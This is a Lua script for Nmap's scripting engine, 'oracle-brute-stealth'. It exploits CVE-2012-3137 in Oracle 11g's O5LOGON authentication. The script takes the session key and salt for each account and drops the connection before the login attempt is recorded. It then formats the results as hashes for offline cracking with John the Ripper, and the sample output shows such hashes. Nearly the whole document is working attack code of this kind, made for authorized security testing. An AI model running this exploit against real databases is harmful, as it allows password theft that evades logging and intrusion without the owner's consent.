local brute = require "brute"
local coroutine = require "coroutine"
local creds = require "creds"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local tns = require "tns"
local unpwdb = require "unpwdb"

local openssl = stdnse.silent_require "openssl"

description = [[
Exploits the CVE-2012-3137 vulnerability, a weakness in Oracle's
O5LOGIN authentication scheme.  The vulnerability exists in Oracle 11g
R1/R2 and allows linking the session key to a password hash.  When
initiating an authentication attempt as a valid user the server will
respond with a session key and salt.  Once received the script will
disconnect the connection thereby not recording the login attempt.
The session key and salt can then be used to brute force the users
password.
]]

---
-- @usage
-- nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL <host>
--
-- @output
-- PORT     STATE  SERVICE REASON
-- 1521/tcp open  oracle  syn-ack
-- | oracle-brute-stealth: 
-- |   Accounts
-- |     dummy:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 - Hashed valid or invalid credentials
-- |     nmap:$o5logon$D1B28967547DBA3917D7B129E339F96156C8E2FE5593D42540992118B3475214CA0F6580FD04C2625022054229CAAA8D*7BCF2ACF08F15F75B579 - Hashed valid or invalid credentials
-- |   Statistics
-- |_    Performed 2 guesses in 1 seconds, average tps: 2
--
-- @args oracle-brute-stealth.sid - the instance against which to perform password guessing
-- @args oracle-brute-stealth.nodefault - do not attempt to guess any Oracle default accounts
-- @args oracle-brute-stealth.accounts - a list of comma separated accounts to test
-- @args oracle-brute-stealth.johnfile - if specified the hashes will be written to this file to be used by JtR

--
-- Version 0.1
-- Created 06/10/2012 - v0.1 - created by Dhiru Kholia
--
-- Summary
-- -------
--   x The Driver class contains the driver implementation used by the brute
--     library

author = "Dhiru Kholia"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}

portrule = shortport.port_or_service(1521, "oracle-tns", "tcp", "open")

local ConnectionPool = {}
local arg_johnfile = stdnse.get_script_args(SCRIPT_NAME .. '.johnfile')
local johnfile

Driver =
{

	new = function(self, host, port, sid )
		local o = { host = host, port = port, sid = sid }
		setmetatable(o, self)
		self.__index = self
		return o
	end,

	--- Connects performs protocol negotiation
	--
	-- @return true on success, false on failure
	connect = function( self )
		local MAX_RETRIES = 10
		local tries = MAX_RETRIES

		self.helper = ConnectionPool[coroutine.running()]
		if ( self.helper ) then return true end

		self.helper = tns.Helper:new( self.host, self.port, self.sid )

		-- This loop is intended for handling failed connections
		-- A connection may fail for a number of different reasons.
		-- For the moment, we're just handling the error code 12520
		--
		-- Error 12520 has been observed on Oracle XE and seems to
		-- occur when a maximum connection count is reached.
		local status, data
		repeat
			if ( tries < MAX_RETRIES ) then
				stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
			end
			status, data = self.helper:Connect()
			if ( not(status) ) then
				stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
				self.helper:Close()
			else
				break
			end
			tries = tries - 1
			stdnse.sleep(1)
		until( tries == 0 or data ~= "12520" )

		if ( status ) then
			ConnectionPool[coroutine.running()] = self.helper
		end

		return status, data
	end,

	--- Attempts to login to the Oracle server
	--
	-- @param username string containing the login username
	-- @param password string containing the login password
	-- @return status, true on success, false on failure
	-- @return brute.Error object on failure
	--         brute.Account object on success
	login = function( self, username, password )
		local status, data = self.helper:StealthLogin( username, password )

		if ( data["AUTH_VFR_DATA"] ) then
			local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
			if ( johnfile ) then
				johnfile:write(("%s:%s\n"):format(username,hash))
			end
			return true, brute.Account:new(username, hash, creds.State.HASHED)
		else
			return false, brute.Error:new( data )
		end


	end,

	--- Disconnects and terminates the Oracle TNS communication
	disconnect = function( self )
		return true
	end,

}


action = function(host, port)
	local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
	local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
	local engine = brute.Engine:new(Driver, host, port, sid)
	local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
	local mode = arg_accounts and "accounts" or "default"

	if ( not(sid) ) then
		return "\n  ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
	end
	
	if ( arg_johnfile ) then
		johnfile = io.open(arg_johnfile, "w")
		if ( not(johnfile) ) then
			return ("\n  ERROR: Failed to open %s for writing"):format(johnfile)
		end
	end

	local helper = tns.Helper:new( host, port, sid )
	local status, result = helper:Connect()
	if ( not(status) ) then
		return "\n  ERROR: Failed to connect to oracle server"
	end
	helper:Close()

	if ( stdnse.get_script_args('userdb') or
		stdnse.get_script_args('passdb') or
		stdnse.get_script_args('oracle-brute-stealth.nodefault') or
		stdnse.get_script_args('brute.credfile') ) then
		mode = nil
	end

	if ( mode == "default" ) then
		local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
		if ( not(f) ) then
			return ("\n  ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
		end

		f = io.open(f)
		if ( not(f) ) then
			return ("\n  ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
		end

		engine.iterator = brute.Iterators.credential_iterator(f)
	elseif( "accounts" == mode ) then
		engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
	end

	engine.options.useraspass = false
	engine.options.mode = "user"
	engine.options.script_name = SCRIPT_NAME
	status, result = engine:start()

	if ( johnfile ) then
		johnfile:close()
	end

	return result
end
